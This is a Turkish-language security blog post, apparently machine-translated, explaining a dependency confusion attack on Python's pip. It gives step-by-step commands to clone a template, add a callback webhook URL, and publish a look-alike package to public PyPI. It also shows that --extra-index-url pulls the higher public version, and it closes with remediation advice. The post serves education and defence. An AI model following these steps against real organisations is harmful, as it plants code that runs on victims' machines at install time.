Bağımlılık Karışıklık Saldırısı

Nov 24 2022
Genel Bakış Bağımlılık Karışıklığı saldırısı, bir saldırganın bir paket yöneticisini kandırarak satıcının özel yasal deposu yerine genel bir depodan kötü amaçlı bir paket yüklemesi için kandırdığı bir saldırı türüdür. Dhiyaneshwaran, araştırmasını ve bulgularını açıklayan harika bir blog yazdı, henüz okumadıysanız blogunu okumanızı tavsiye ederim.

genel bakış

Bağımlılık Karışıklığı saldırısı, bir saldırganın bir paket yöneticisini kandırarak satıcının özel yasal deposu yerine genel bir depodan kötü amaçlı bir paket yüklemesi için kandırdığı bir saldırı türüdür.

Dhiyaneshwaran , araştırmasını ve bulgularını açıklayan harika bir blog yazdı, henüz okumadıysanız blogunu okumanızı tavsiye ederim.

Bu Blog'da yanlış yapılandırmayı belirleme ve bundan yararlanma açısından Python Paketlerine odaklanacağız.

PIP Açıklaması

Varsayılan olarak, kullanarak bir python paketi pipindirdiğinizde, istenen paketin en son sürümü için Pypi deposunda arama yapar ve onu kurar, ancak bir geliştirici, paketleri genel olarak yayınlamak yerine kendi özel paketlerini yerel olarak barındırmak için kendi özel Pypi deposunu dağıtabilir.

Yerel bir depodan paket indirmek için depo URL'si belirtilmelidir. Bu, aşağıdaki iki seçenek kullanılarak yapılabilir:

  • --extra-index-url
  • --index-url
  • pip3 install --extra-index-url <LOCAL_REPO_URL>/simple/ --trusted-host <LOCAL_REPO_URL> -r requirements.txt
    #OR
    pip3 install --index-url <LOCAL_REPO_URL>/simple/ --trusted-host <LOCAL_REPO_URL> -r requirements.txt
    

Paket Ele Geçirme

Aşağıdaki örnek senaryoda saldırıyı göstereceğiz.

Önkoşullar

  • Pypi'de bir hesap oluşturun
  • Özel Pypi Deposu Oluşturun

Aşağıdaki Depoyu klonlayın:

git clone https://github.com/zAbuQasem/dependecy-confusion-templates
cd dependecy-confusion-templates/python-pip

      
                

mv package_name safepackage

Ardından __init_.pydosyayı düzenleyin package_nameve istediğiniz paket adıyla değiştirin:

Paket tetikleyicilerini almak için dosyayı açın poc.pyve sunucu/webhook url'nizi ekleyin.

Son olarak paketi oluşturun ve Pypi deposuna yükleyin:

# Prerequisities
sudo apt install twine -y
sudo apt-get install gcc libpq-dev -y
sudo apt-get install python-dev  python-pip -y
sudo apt-get install python3-dev python3-pip python3-venv python3-wheel -y
pip3 install wheel

# Builing and uploading
python3 setup.py sdist bdist_wheel
twine upload dist/* --verbose

setup.pyŞimdi yukarıdaki komutları kullanarak paketi yeniden oluşturmak için içindeki sürümü değiştirin 0.0.1, Bundan sonra paket dosyasını aşağıdaki resimde gösterildiği gibi yerel Pypi sunucusuna kopyalayın:

Yerel Pypi URL'sini ziyaret ederek paketi doğrulayın:

Mevcut paketleri görüntülemek için basite tıklayın

Aşağıdaki komutu çalıştırarak, pip'e özel havuz URL'mizi vermiş olmamıza rağmen en son sürümü yüklediğini görebiliriz:

pip3 install --extra-index-url http://example:8080/simple/ --trusted-host example.com safepackage

      
                

python3 -c "import safepackage"

      
                

iyileştirme

Şimdi kurulu paketi kaldırın ve --index-urlyerine ile yeniden yükleyin.--extra-index-url

Pip, paketi amaçlandığı gibi özel havuzumuzdan yükledi.

Çözüm

  • Paketinizi hem Genel hem de Özel Depolarda barındırın.
  • kullanmaktan kaçınmaya çalışın--extra-index-url